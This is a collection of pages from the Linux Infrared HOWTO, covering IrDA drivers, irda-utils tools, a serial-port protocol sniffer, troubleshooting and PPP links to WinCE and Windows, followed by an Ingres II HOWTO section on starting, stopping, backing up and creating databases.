Everything worked fine for ping and ssh (doing ls -l a couple of times) but the computer hang when I tried to mail (Netscape) this through that PPP. After reboot I tried both Netscape and lynx. Both were able to establish contact but none got any data."

Another way by Claudiu Costin:

  • Linux 2.2.5 with IrDA compiled as modules

  • Because irattach don't make kernel to load automatically IrDA stack, let's type modprobe actisys .

  • Now, irattach /dev/ttyS1 -d actisys where COM2 is used for null link

  • ping <address> works very good!

This has to be done for both machines.

Please note this is not the recommended stuff to connect two machines. Use PPP instead. Though I cannot see how this approach is useful I have included it beause it was asked sometimes in the mailing list.

Prev | Home | Next
Connection to Keyboard | Up | Null Modem Cable Connection


SMP

Linux Infrared HOWTO
Prev Chapter 4. Hardware Supported by Linux/IrDA Next

4.4. SMP

Jean Tourrilhes: "Tested IrSock, IrNET and OpenObex with multiple dongles on a SMP box. Works fine. However, the code is not fully SMP safe yet, so you never know..."

Prev | Home | Next
Big Endian | Up | IrDA Hardware


sersniff

Linux Infrared HOWTO
Prev Appendix C. Serial Infrared Port Sniffers Next

C.2. sersniff

Written by Jonathan McDowell sersniff is a simple program to tunnel/sniff between 2 serial ports. The program was written to aid with the decoding of the protocol used by the Nokia 9000i Communicator to talk to the NServer software Nokia provides, which only runs under Windows.

Prev | Home | Next
Sniffer by Gerd Knorr | Up | Infrared Light and Eye Safety


Sniffer by Gerd Knorr

Linux Infrared HOWTO
Prev Appendix C. Serial Infrared Port Sniffers Next

C.1. Sniffer by Gerd Knorr

This programm is a courtesy by Gerd Knorr. You may use it to sniff the traffic which is going trough your IrDA port for details of the protocol (change the default ttyS1 in the source if necessary):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <termios.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>

#define BUFSIZE 1024

int
read_and_print(int fd, int sec, int usec)
{
    int         rc,l,i;
    char        buf[BUFSIZE+1];
    fd_set      set;
    struct timeval  tv;

    if (sec || usec) {
    FD_ZERO(&set);
    FD_SET(fd,&set);
    tv.tv_sec  = sec;

    tv.tv_usec = usec;
    if (0 == select(fd+1,&set,NULL,NULL,&tv))
        return -1;
    }

    switch (rc = read(fd,buf,BUFSIZE)) {
    case 0:
    printf("EOF");
    exit(0);
    break;
    case -1:
    perror("read");
    exit(1);
    default:
    for (l = 0; l < rc; l+= 16) {
        printf("%04x  ",l);
        for (i = l; i < l+16; i++) {
        if (i < rc)
            printf("%02x ",buf[i]);
        else
            printf("-- ");
        if ((i%4) == 3)
            printf(" ");
        }
        for (i = l; i < l+16; i++) {

        if (i < rc)
            printf("%c",isalnum(buf[i]) ? buf[i] : '.');
        }
        printf("\n");
    }
    break;
    }
    return rc;
}

void
setlines(int fd, int rts, int dtr)
{
    int lines = 0;

    if (rts) lines |= TIOCM_RTS;
    if (dtr) lines |= TIOCM_DTR;

    ioctl(fd,TIOCMSET,&lines);
}

int main(int argc, char *argv[])
{
    int         ser,i;
    struct termios      saved_attributes,tattr;
    struct winsize      win;
    char        buf[16];

    if (-1 == (ser = open("/dev/ttyS1",O_RDWR))) {
    perror("open /dev/ttyS1");
    exit(1);
    }

    /* Set the terminal mode */
    tcgetattr (ser, &tattr);
    cfmakeraw (&tattr);
    cfsetospeed (&tattr,B9600);
    cfsetispeed (&tattr,B9600);
    tcsetattr (ser, 0, &tattr);

    setlines(ser,0,0);
#if 0
    tcsendbreak(ser,0);
#endif

    /* main loop */
    fprintf(stderr,"setup done\n");
    while (-1 != read_and_print(ser,30,0)) {
    usleep(100000);
    }

    return 0;
}

Prev | Home | Next
Serial Infrared Port Sniffers | Up | sersniff


Software

Linux Infrared HOWTO
Prev Chapter 2. Getting Started Next

2.1. Software

The commands provided by the irda-utils package are the basic set of tools to get a working IrDA connection. The other tools (e-Squirt, IrNET, ..) are optional. The programms don't have manpages yet. You may use my man pages instead, see MobiliX - Software.

2.1.1. IrDA-Utils

2.1.1.1. Compilation

  • Use the latest source of irda-utils available at Linux/IrDA Project. Also recommended is the glibc library. You may find out the current version with ldd --version. The use of the older libc5 library may lead to compile errors.

  • Untar the package with tar xvzf irda-utils<VERSION> . I recommend to do this in /usr/src.

  • Do a make clean (not necessary if you compile the package for the first time).

  • Do a make all to build the binaries.

  • Do a make install, this brings all commands into the right place and installs some config files in /etc/irda.

  • Sometimes, when you compile the IrDA stack or some various IrDA package, you may have the compiler complaining the things such as IRLMP_HINT_MASK_SET or IRDAPROTO_ULTRA are not defined. This is because of a mess related to kernel headers and the way most distributions deal with it. If you have the 2.4.X kernel source lying around, the fix is simple. Just copy the header irda.h from the kernel to your include directory cp /usr/src/linux/include/linux/irda.h /usr/include/linux

2.1.1.2. Precompiled Packages

NOKUBI Takatsugu provides an irda-utils Debian package . This package is part of the Potato Debian release. Also Mandrake since 6.1, Redhat since 6.1 and SuSE since 6.1 contain RPM packages of the irda-utils. Some caveat with precompiled packages might be some incompatibilities between kernel version and appropriate package version.

2.1.1.3. Contents of Linux/IrDA-Utils

2.1.1.3.1. irattach

irattach uses the module set as parameter; it can be a specific FIR driver: irattach toshoboe or ircomm (and then it loads the module aliased as "irda0" in /etc/modules.conf)

If you are one of the lucky people which have a FIR chipset that is supported, then you don't need to use irattach anymore. Now you just have to modprobe the driver.

2.1.1.3.2. irdadump

A program that displays all the frames sent, and received on the infrared link.

One advantage of implementing IrDA device drivers as network device drivers is that you should be able to attach sniffers to the device (or actually the packet type). That way, it is possible to use a really handy utility called irdadump (instead of tcpdump). This will make debugging MUCH easier. Linux-2.2 implements the BPF (Berkeley Packet Filter), so its possible to filter out exactly the frames you want to see.

Note: You probably have to be root for using irdadump . CONFIG_PACKET has to be enabled in the kernel. If compiled as a module you might load the module manually. irdadump has been converted into a library, so it can be used from GUI applications as well.

Here is a sample output of a small session between Linux and a Palm III. This log shows that the local irobex layer is not responding, so the Palm III sends a disc frame.
dagbnb /home/dagb/linux/irda-utils/irdadump/ # ./irdadump

20:18:15.305711 xid:cmd:saddr=0x05c589 > daddr=0xffffffff,S=6,s=0
20:18:15.385597 xid:cmd:saddr=0x05c589 > daddr=0xffffffff,S=6,s=1
20:18:15.465568 xid:cmd:saddr=0x05c589 > daddr=0xffffffff,S=6,s=2
20:18:15.545953 xid:cmd:saddr=0x05c589 > daddr=0xffffffff,S=6,s=3
20:18:15.625574 xid:cmd:saddr=0x05c589 > daddr=0xffffffff,S=6,s=4
20:18:15.705575 xid:cmd:saddr=0x05c589 > daddr=0xffffffff,S=6,s=5
20:18:15.785601 xid:cmd:saddr=0x05c589 > daddr=0xffffffff,S=6,s=255,info=Linux
20:18:18.075526 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=0
20:18:18.225498 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=1
20:18:18.375495 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=2
20:18:18.526355 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=3
20:18:18.675614 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=4
20:18:18.676364 xid:rsp:saddr=0x05c589 > daddr=0xb50c14b,S=6,s=4
20:18:18.765506 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=5
20:18:18.927221 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=255,info=Palm III
20:18:18.975796 snrm:cmd,ca=0xfe,pf=1
20:18:18.976534 ua:rsp,ca=0x58,pf=1
20:18:18.977145 ua:rsp,ca=0x58,pf=1
20:18:19.585627 rr:rsp,ca=0x58,nr=0,pf=1
20:18:19.585810 rr:rsp,ca=0x58,nr=0,pf=1
20:18:19.606413 i:cmd,ca=0x58,nr=0,ns=0,pf=1
20:18:19.606582 rr:rsp,ca=0x58,nr=1,pf=1
20:18:19.627708 rr:cmd,ca=0x58,nr=0,pf=1
20:18:19.627871 i:rsp,ca=0x58,nr=1,ns=0,pf=1
20:18:19.650571 disc:cmd,ca=0x58,pf=1
20:18:19.650736 ua:rsp,ca=0x58,pf=1
20:18:21.165524 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=0
20:18:21.315608 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=1
20:18:21.315793 xid:rsp:saddr=0x05c589 > daddr=0xb50c14b,S=6,s=1
20:18:21.395499 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=2
20:18:21.545516 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=3
20:18:21.695500 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=4
20:18:21.845840 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=5
20:18:22.007222 xid:cmd:saddr=0xb50c14b > daddr=0xffffffff,S=6,s=255,info=Palm
III
20:18:22.056143 snrm:cmd,ca=0xfe,pf=1
20:18:22.056310 ua:rsp,ca=0xc8,pf=1
20:18:22.056381 ua:rsp,ca=0xc8,pf=1

37 pacckets received by filter

2.1.1.3.3. irdaping

Makes it possible to try and ping a remote device using IrDA test frames. Not all devices implements support for test frames. This is a program similar to ping(8). It sends IrDA test frames (added some userdata which contains the frame number and the time the frame was sent). You can also change the size of the frame by using the -s option. You must supply an IrDA device address, and not an IP address. You have to be able to get that device address by using irdadump.

Here is one output sample (pinging an ACTiSYS IR-100M):
dagbnb /home/dagb/linux/irda-utils/irdaping/ # ./irdaping 0xf7be8388
IrDA ping (0xf7be8388): 32 bytes
32 bytes from 0xf7be8388: irda_seq=0 time=102.466003 ms.
32 bytes from 0xf7be8388: irda_seq=1 time=102.202003 ms.
32 bytes from 0xf7be8388: irda_seq=2 time=102.170998 ms.
32 bytes from 0xf7be8388: irda_seq=3 time=101.633003 ms.

4 packets received by filter

From : Christian Gennerat I use an alias which does not use any parameter (in $HOME/.bashrc): alias irping="irdaping \`grep daddr /proc/net/irda/discovery|sed s/.*daddr://\`" It works fine when there is only one discovered client.

2.1.1.3.4. irkbd

Implements support for the mouse and keyboard protocol as used by the Tekram IR-660 infrared docking station.

2.1.1.3.5. findchip

Tries to find out which FIR IrDA chipset your machine is using. Try out findchip -v to check it out. For other methods to detect the chipset see below.

2.1.1.3.6. irsockets

A collection of programs which uses IrDA sockets.

2.1.1.3.7. irpsion5

File transfer program for exchanging files with your Psion PDA.

2.1.1.3.8. /etc/irda

Configuration files, e.g. contain the serial port of the SIR driver. For first testing you should configure the SIR IrDA driver.

2.1.2. openobex

The overall goal of the OpenOBEX project is to make an open source implementation of the Object Exchange (OBEX) protocol. OBEX is a session protocol and can best be described as a binary HTTP protocol. A typical application is the "beam" function of PalmOS.

2.1.3. e-squirt

e-Squirt is a simple protocol for sending URLs over the IrDA medium. This allows for interaction with CoolTown enabled devices.

2.1.4. IrNET for Linux-IrDA

IrNET is a protocol allowing to carry TCP/IP traffic between two IrDA peers in an efficient fashion. It is a thin layer, passing PPP packets in a IrTTP socket. It uses PPP in synchronous mode for efficiency, and offers lots of flexibility and various features. The main part of IrNET in included in kernel 2.4.x, and a user-space daemon (to automate connections) is available on the web page.

2.1.5. Java - IrDA Interface

This Java Infrared Socket API provides a way of communicating through infrared medium on a linux machine using Java. Thus, Java application developers can develop applications involving infrared access much easily. The API is very similar to java.net.Socket API and has been implemented using the Linux infrared stack. Both connection oriented streams (IrSocket and IrServerSocket) and connectionless Ultra (UltraSocket, UltraPacket) interfaces are available.

Prev | Home | Next
Getting Started | Up | Kernel


Status of the Document

Linux Infrared HOWTO
Prev Preface Next

2. Status of the Document

The latest kernel I used is 2.4.2 and the latest irda-utils version is 0.9.13. I tried to check all information but I don't have all the necessary infrared hardware yet, so if something doesn't work for you, please don't blame me.

Warning

Former kernel and irda-utils versions need a completely different setup. Since I don't recommend to use former versions, all references to these setups are removed from this document. You may find some hints in the chapter Code History.

I have included all the changes to be in sync with the 2.4.x kernel series and the latest Linux/IrDA development now. Therefore some testing and proof-reading has still to be done. So please don't expect anything working straight out of the box.

Prev | Home | Next
About the Document and the Author | Up | IrDA


Linux Terminal on Palm (Handspring Visor) via IR

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.6. Linux Terminal on Palm (Handspring Visor) via IR

by Chris Morris on Linux/IrDA list: In addidtion to using IR to hotsync my Handspring Visor I got my Handspring visor to work as a linux text terminal via infrared last night. My computer is a Dell Inspiron 3800 (BTW I wracked my brains for weeks trying to get IR to work under the 2.4.0 kernel. The whole problem was caused by Linux looking at the wrong IRQ for ttyS3 . Maybe the IR HOWTO should mention that at some point.). I am using Beam Sync for Visor V1.0b2 by Hacker Dude-san. N.N. and MTerm by Shigeyuki Seko (seko@.jps.net). On the laptop I have IR set to SIR mode and COM 3 via BIOS. I have to set /dev/ttyS3 to IRQ3 via setserial /dev/ttyS3 irq 3 on boot up. After boot up I do a:
/sbin/modprobe irda
/sbin/modprobe irtty
/sbin/modprobe ircomm
/sbin/ircomm-tty
/usr/sbin/irattach /dev/ttyS3 -s
cat /proc/net/irda/discovery shows the visor as IrComm Now /etc/mgetty+fax/mgetty.conf has to have these options: port ttyS3 direct y speed 9600 , faster maybe possible but only 9600 worked for me so far toggle-dtr n Then in /etc/inittab: palm:235:respawn: /sbin/mgetty ircomm0 After all of this I can start MTerm, issue a '/sbin/init q' then send a few <CR> from the Visor and I get a text termianl login. While composing this email I found a previously undiscovered website that seems most helpful: http://abgruen.de/palm/palm-ppp-mini.txt

Prev | Home | Next
Palm III Connection - IrCOMM | Up | Psion 5 Connection


Linux/IrDA with Toshiba Notebooks

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.19. Linux/IrDA with Toshiba Notebooks

Guenther Wieser has written a HOWTO about Toshiba and IrDA . These notebooks need the toshoboe Linux/IrDA driver.

Prev | Home | Next
Peer-to-Peer Mode / Direct Mode | Up | IrDA Card in a Desktop Computer


Troubleshooting

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.1. Troubleshooting

5.1.1. General Information

If you encounter problems. Try the following:

  • Read the FAQ section below.

  • Look at /var/log/messages and/or /var/log/kern.

  • Do a dmesg.

  • Look at the different files in /proc/irda.

5.1.2. Troubleshooting Techniques

Although I'm not much of a hacker I collected some tricks to track errors or bugs in the Linux/IrDA software.

  • You may set the debug level in /proc/sys/net/irda/debug to 1, 2, 3, 4.

  • Use the files in /proc/sys/net/irda to try different parameters like echo 0 > /proc/sys/net/irda/discovery. The /proc/*/irda files are:
    root@duckman:~# ls /proc/sys/net/irda/* /proc/net/irda/*
/proc/net/irda/discovery
/proc/net/irda/irlmp
/proc/net/irda/irda_device
/proc/net/irda/irttp
/proc/net/irda/irias
/proc/net/irda/irlap
/proc/sys/net/irda/devname
/proc/sys/net/irda/discovery
/proc/sys/net/irda/compression
/proc/sys/net/irda/debug

  • It is also possible to debug the code. But I don't know how to do this. If you want to use SKB debug code, you may edit irda.h and change /include/linux/skbuff.h (see revision history of snapshot 10-2-98).

  • For problems with the irda module a utility from the modules package kdstat might be helpful. But I was not able to try this.

  • "You can now alter the number of discovery packets used (1, 6, 8 or 16) and the timeout between sending them (2-8 * 10 ms) in /proc/sys/net/irda. Please experiment if you have problems discovering your device. My Palm III seems to like 16 discovery_slots and 8 (*10 ms) for slot_timeout. " ... "The absolute minimum for reliable discovery of the IR-610 seems to be 9." Another statement: ... the Palm III does not like 8 discovery frames in a row, but 6 is OK. With 8 it will answer 1 out of 6-10 times, with 6 it answers every time. I really don't know if this is a problem with Linux-IrDA or the Palm III. One solution to this problem, is to cycle though some different discovery methods for each discovery like this: Disocvery 1: send 8 xid frames with 80 ms separation If answer, keep the same config, if no answer, try next config Discovery 2: send 6 xid frames with 80 ms separation Discovery 3: send 8 xid frames with 90 ms separation Discovery 4: send 6 xid frames with 90 ms separation Discovery 5. Go back to 1. or some other pattern and maybe more combinations. Maybe this is sometimes implemented, so it would be enabled if /proc/sys/net/irda/discovery_slots is set to 0 .

  • If anybody gets a kernel Oops, then please feed it to the ../linux/scripts/ksymoops/ksymoops program, so that we can find out where it went wrong. Just cut out the Oops lines from the syslog, save them to a file, and then run ksymoops <file>

  • Dag Brattli wrote: I found out that the cs4232 sound card was giving me several hundred interrupts per second! I removed the sound stuff from my kernel, and the machine is now generally about 4 times faster! Linux/IrDA may get problems if you are running the esound server (esd) on your machine. Both my machines, a 166Mhz Pentium laptop and a 200Mhz Pentium Pro cannot run Linux/IrDA when esd is running. The reason is that esd makes the soundcard give interrups over 300 times/second which makes the serial driver overrun when receiving. This is because the serial driver now uses slow interrupts in Linux-2.2 (everything is slow interrupts in 2.2), so the interrupt-handler schedules on its way out. The good thing about slow interrupts is that packets are delivered much faster, since you don't need to wait for the next timer-tick. The only exception for this is the pc87108 driver which works fine since it uses DMA and will only give a couple of interrupts per packet.

  • There are also some userspace tools irdaping and irdadump to check Linux/IrDA connections.

  • AFAIK it is possible to use IrCOMM either with an infrared device or via serial cable. Maybe this give some debugging possibilities, too.

  • 1) You may edit /etc/conf.modules, adding the following lines: option irda irda_debug=3 option irlpt_client_debug=3 irlpt_common_debug=3 2) Make sure the irda modules have been totally removed. 3) Edit /etc/syslog.conf, adding the following lines:
    */*         -/var/log/all
    4) Do killall -1 syslogd . 5) Print, or do whatever causes problems with irlpt . 6) Check all the files in /var/log/ .

For some ThinkPad models you have to reboot to the preinstalled M$ OS and activate the IrDA port using the Thinkpad tools. There is currently no Linux tool to achieve that. This will disable your internal serial port (ttyS0)!. The DOS tool is PS2.EXE, as far as I know tpctl doesn't achieve this. It is really important to use this DOS program (ps2.exe) to enable IR. Using the windows tools does not work. Without that the driver loads correctly and everythings seems OK, but the LED does not light bright enough.

5.1.3. PCI Device Numbers

Daniel R. Risacher magnus@alum.mit.edu wrote: To syncronize my Palm III with my Tecra 8100 running 2.2.17, I needed to edit /usr/src/linux/include/net/irda/toshoboe.h I changed "#define PCI_DEVICE_ID_FIR701 0x0701" to "#define PCI_DEVICE_ID_FIR701 0x0D01"

5.1.4. scanport

scanport can be used to get the correct device ID is for a chip. It's part of the hwtools package (on Debian, probably same elsewhere). You just type it in and it scans the I/O ports from 0x100 to 0x400 - the usual ISA range. Above 0x400 there are shadows of below 0x400 devices, and beyond that there are PCI devices, so the default is not to scan above 0x400. "Anyway, I had to manually scan using inb to find my chip's I/O. Fortunately I didn't have to go far to find it. (Newer sound cards often sit at 0x530ish, with 0x220 reserved for legacy compatibility modes) Normally, if you know where some device is located you just point the driver at it and the driver probes to see if it's the device the driver is expecting. Not entirely safe, but much safer than every driver probing every I/O port looking for something it thinks it can understand. scanport only does reads, which are usually safe."

Prev | Home | Next
Advanced Topics | Up | Mailing List


Connecting from Linux to WinCE

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.8. Connecting from Linux to WinCE

Submitted by Arthur Tyde and Bryan Abshier of Linuxcare Inc.

This will tell you how to set up a masqueraded PPP connection via. IrDA from WinCE to a Linux based notebook computer. Once you are IP connected, the rest is up to you. We put this together as a guide for Sony notebook users with Casio E-100/105 PDA's, though the procedure should work for any WinCE 2.11 device with infrared capabilities talking to any notebook. Do all the Linux side testing signed on as root, standard warnings apply.

Configure WinCE Configure a network connection for your WinCE device. Go into "Connections" and create a "Direct Connection" Name it something meaningful, for device select "Infrared Port". Go into settings and change the baud rate to 115200, this is the max for WinCE. Go to TCP/IP settings and check "Use server-assigned IP address," and "Use software compression," and "Use IP header compression" Make sure "Use Slip," is unchecked. For Name Servers, make sure "Use server-assigned addresses" is checked. Go to Start, Settings, Communications, Identification and enter something for the Device Name. (I used "cetoy") You most likely already have these values set if you have synced with a Win9x desktop using Activesynch.

Configure Linux/IrDA Set up IrDA support on your notebook (described elsewhere) and get to the point where your notebook will discover an IrDA compliant device. A good sign is the irda0 device will show up when you execute ifconfig. It will not have an IP address, this is ok.

Setup the Connection Test the discovery by setting an IrDA device in range of your IR port, wait 5 seconds, and;

cat /proc/net/irda/discovery

For example, the Ericsson I888 World Phone with IR port enabled should immediately show something like this;

"name:I 888 WORLD   ,hint:0x9104,saddr:0x838470e5,daddr:0x152dceaa"
Your WinCE machine will not be discovered unless it's actively looking for a connection. So, if you want to test with WinCE position your device and double tap on the network icon you created in step 2, you should see something like this:

"name:mytoy,hint:0x8204,saddr:0x838470e5,daddr:0x00000b72"
The name displayed will be whatever value you have entered into the Start, Settings, Communications, Identification as the Device Name. At this point, with basic IrDA functioning- we can move on to establishing a PPP connection for WinCE. These scripts can also be used for serial cable connects. Create the following files and copy them into the directory indicated.

/usr/sbin/cebox.sh - make it executable
#!/bin/sh
pppd call cebox
Because Microsoft likes to break standards, you need the following chat script. This will feed WinCE the proper ASCII keywords it wants before allowing a PPP connection.

/etc/ppp/cebox.chat
TIMEOUT 3600
"CLIENT"    "CLIENT\c"
""      "SERVER\c"
The following file will allow you to specify the IP addresses, IR (or serial port if using a cable) device, DNS and so forth. I do not recommend you change the 192.IP addresses below. WinCE really has an affection for 192.168.55.100 because all the MS synch tools seem to have it hardcoded. DNS can be whatever you normally use.

/etc/ppp/peers/cebox
/dev/ircomm0 115200 crtscts
connect '/usr/sbin/chat -v -f /etc/ppp/cebox.chat'
noauth
local
192.168.55.101:192.168.55.100
ms-dns 10.2.0.1

Testing the connection Ok, now you can test the connection to make sure it all works. Reboot your machine, run irattach /dev/ttyS2 -s 1 (/dev/ttyS2 being the serial port your BIOS sees the IR device as, if irattach is not running, start it) Align the IR ports, at the Linux command prompt type /usr/sbin/cebox.sh, and simultaneously press return to start cebox and double tap your connection icon in WinCE. You should get a happy message from WinCE reporting Connecting to Host, Device Connected, Authenticating User, User Authenticated and finally Connected. You should see something like this when you are connected:
irda0     Link encap:IrLAP  HWaddr 06:89:d0:58
      UP RUNNING NOARP  MTU:2048  Metric:1
      RX packets:246 errors:0 dropped:0 overruns:0 frame:0
      TX packets:251 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:8

ppp0      Link encap:Point-to-Point Protocol
      inet addr:192.168.55.101 P-t-P:192.168.55.100 Mask:255.255.255.255
      UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
      RX packets:10 errors:0 dropped:0 overruns:0 frame:0
      TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:10
The following script sets up IrDA, establishes a ppp connection with WinCE, and then sets up IP masquerading. It is provided as an example of how you can tie this all together. This is more or less a manual approach. You can get creative, start irattach at boot and stick a line in inittab to constantly look for a WinCE connection on the IR port. This will however, run down your batteries and limit your ability to access other IR gadgets. I just use the script below. Position the device, run wince and start communications on your PDA when the script tells you to.

/usr/local/bin/wince - make this executable
#!/usr/bin/perl
use strict;
#
# Enable IrDA, start ppp0 and set up WinCE masquerading
# A. Tyde - Linuxcare Inc.
#
print "\n-> Setting up IR infrastructure...\n";
system("killall irattach 2>/dev/null");
sleep 1;
system("/usr/sbin/cebox.sh");
print "   Start WinCE Serial or IR networking now!\n";
open(ECHO,">/proc/sys/net/ipv4/ip_forward") or die "Can not open /proc/sys/net/
ipv4/ip_forward";
print ECHO "1";
close (ECHO);
print "   Serving 192.168.55.100 to WinCE device...\n\n";
system("ipchains -F");
sleep 5;
system("ipchains -P forward DENY");
system("ipchains -A forward -s 192.168.55.100/32 -j MASQ");
exit 0;

Prev | Home | Next
Psion 5 Connection | Up | Cellular Phone Connection


Window$9x/NT and Linux/IrDA

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.11. Window$9x/NT and Linux/IrDA

3.11.1. Introduction

Why this? Unfortunately Linux users are not always supported with the necessary hardware information. Sometimes it is possible to look at this informations in Window$95. Sometimes its even useful to connect the two. Linux could also provide occasional access point services to a Window95 laptop of a friend dropping by.

Where to get it from? At http://www.microsoft.com in the directory /Windows95/downloads/contents/WURecommended/S_WUCommunications/W95IrDA / you will find a support pack Infrared Transfer 2.0. It is a self-extracting archive W95IR.EXE with 331KB. Note: Microsoft seems to change the location of this file (and others) at random, the former URL is Microsoft Windows95 IrDA - Old

Microsoft(tm) has three versions of IrDA support for Windows95. The version number can be found in the "Software" icon in the Control Panel and the file infrared.inf.

Version 1.0 is still delivered with some hardware.

Version 2.0 is the version they currently offer at their web site. It is in the self-extracting file W95IR.EXE. The last time I looked (1999-02-21) it was 434KB and was found at http://support.microsoft.com/download/support/mslfiles/W95IR.EXE . Their website is frequently changing, so do not be surprised to find the file (also) in another location or not at all.

Version 3.0 can/could be found in their downloadable Infrared development kit IRDDK30, but is mostly useful for developers. It is internally different from 2.0, it is based on "miniport" network drivers, just like the Linux version. It exists for some time and has some support for NT, but it clearly did not make it into the mainstream NT4.0 distributions. For 95 you are probably better off with 2.0. The choice may depend on the documentation of the drivers you get with your specific hardware.

MS website also used to contain a nice utility IrXfer, contained in the archive IRXFER.EXE, This is the Infrared Transfer utility, which uses an IrOBEX variant I think, it is referenced in the IrOBEX protocol description. The utility was freely downloadable, but I could not find it the last time. It is a nice graphical utility which can be used to transfer files over IrDA between computers.

With some machines, e.g. a HP Omnibook 800 it is necessary to use a vendor specific version of this package (for the HP Omnibook 800 you may find it on the recovery CD).

Especially the ..\windows\inf\*.inf files and the device manager are of interest to look for configuration details.

As far as I know Window$NT doesn't support IrDA(TM). About Window$98 I have heard there is no IrDA(TM) support yet. Countersys on http://www.countersys.com claims to sell an IrDA solution for NT4.0 to support their JetBeam product, Microsoft refers to them for it.

AFAIK:

  • Windows95 : use 2.0

  • Windows98 : delivered with 3.0 and IrXfer (works with Linux/IrDA, IrOBEX?)

  • WindowsNT4.0: no IrDA

  • Windows2000 : 3.0(+?) http://www.microsoft.com/hwdev/infrared/

    There are also some non M$ products available. Note: Some of them use proprietary infrared protocols:

  • CounterPoint: QuickBeam 1.15 (works with Linux/IrDA, IrOBEX?)

  • LapLink 7.5

  • CarbonCopy 32 4.0

  • pc ANYWHERE 7.5

  • Puma Technology: TRANXIT pro 4.0

3.11.2. Connection between Linux/IrDA and Window$95 IrDA(TM)

You may use IrNET .

3.11.3. Communication between Win98 and Linux

Ha Duong Minh: Today I am delighted to report that ircp from the openobex project, http://sourceforge.net/projects/openobex/ works like a charm to transfer files between my linux box and its win98 cousin. It can't be simpler: ircp file1, file2, ... or: ircp -r [DEST] Send files over IrDA. Use -r to receive files.

Prev | Home | Next
Digital Camera Connection | Up | Linux to Linux Connection


Linux Infrared HOWTO

Copyright (c) 2000 Werner Heuser. For all chapters permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being "Preface" and "Credits", with the Front-Cover Texts being "Linux Infrared HOWTO", and with the Back-Cover Texts being the section "About the Document and the Author". A copy of the license is included in the section entitled "GNU Free Documentation License".

Home


Basic System and Database Administration

Ingres II HOWTO
Prev Next

6. Basic System and Database Administration

In this section I outline some of the basic tasks of the Ingres system administrator and the Ingres database administrator. You will also see what tools Ingres provides to perform these tasks. In the following I suppose you are logged in as ingres.

6.1. Starting and Stopping Ingres

You have already seen how to start Ingres:

$ ingstart

To stop Ingres, use the ingstop command:

$ ingstop

ingstop only stops Ingres if the are no active user sessions. If you want to stop the system regardless of user sessions, use the following form:

$ ingstop -force

In this case, after you have killed Ingres, check if it released all shared memory segments and semaphores it had used:

$ ipcs -a

If you see shared memory segments or semaphores in ipcs's output that are still attached to the ingres user, release them with Ingres' ipcclean utility:

$ ipcclean

Warning

Take care: forcing Ingres to stop might make your databases inconsistent.

6.2. New Ingres Users and Locations

In order for any user to have access to the Ingres installation, you have to define them as Ingres users with the accessdb utility.

Start accessdb:

$ accessdb

Select the Users option, then Create.

Here, enter the name of the user. You do not have to modify permissions.

Save, then End, and End.

You can also use accessdb to create new locations, change their types or extend databases to new locations. The usage of accessdb is covered in the System Reference Guide and in the Database Administrator's Guide.

As an alternative to accessdb, you can maintain users and locations by running SQL commands on iidbdb (create user, create location, etc.). The syntax of these commands can be found in the SQL Reference Guide.

Warning

Since the ingres user has unlimited power of changing and possibly destroying any element of an Ingres installation, it is highly advisable that you only use this account for carrying out administrative tasks. Create another Linux user and set its environment to that of ingres. Register it as an Ingres user via accessdb and use this account for everyday work.

6.3. Creating and Destroying Databases

In subsection Checking the Installation you created a new database. You did not specify any options in the

$ createdb test

command. Therefore the values stored in II_DATABASE, II_CHECKPOINT, etc., became locations for the test database. You could have specified each location explicitly:

$ createdb test -d<data location> -c<checkpoint location> -j<journal location>
-b<dump location> -w<work location>

You can remove a database with the destroydb command:

$ destroydb test

Warning

Be careful, because Ingres will not prompt you before destroying the database.

6.4. Collation Sequences

The collation sequence determines which of any two character strings should be considered less than the other. In Ingres, every database can have its own sort order. You can specify the collation sequence when creating the database:

createdb test -lhun

If you omit the -l parameter, the database will have the default collation sequence which is determined by the implicit sort order of the code set of the Ingres installation (II_CHARSET).

If you want to use your own collation sequence (it is hun in the example above), you have to create a definition file first. The structure of this file must obey to simple rules by which you specify the absolute or relative ordering of letters and/or strings in your language. This file must then be compiled by the aducompile utility for Ingres to be able to use it.

The Spanish collation sequence and the collation based on the DEC Multinational Character Set are available both in source (spanish.dsc and multi.dsc), and compiled form (spanish and multi).

You specify these collation sequences in the following way:

createdb test -lspanish

or

createdb test -lmulti

The compiled definition files for a collation sequence must be in the $II_SYSTEM/ingres/file/collation directory. The syntax rules of the definition files can be found in the System Reference Guide. It may also be useful to examine the definition files for the Spanish and the DEC Multinational collations.

6.5. Backup and Recovery

You can back up an Ingres database or certain tables in it with the ckpdb utility. The following command backs up the test database:

$ ckpdb test

Note

Checkpoints can be taken online.

Restoring a database can be done with the rollforwarddb command:

$ rollforwarddb test

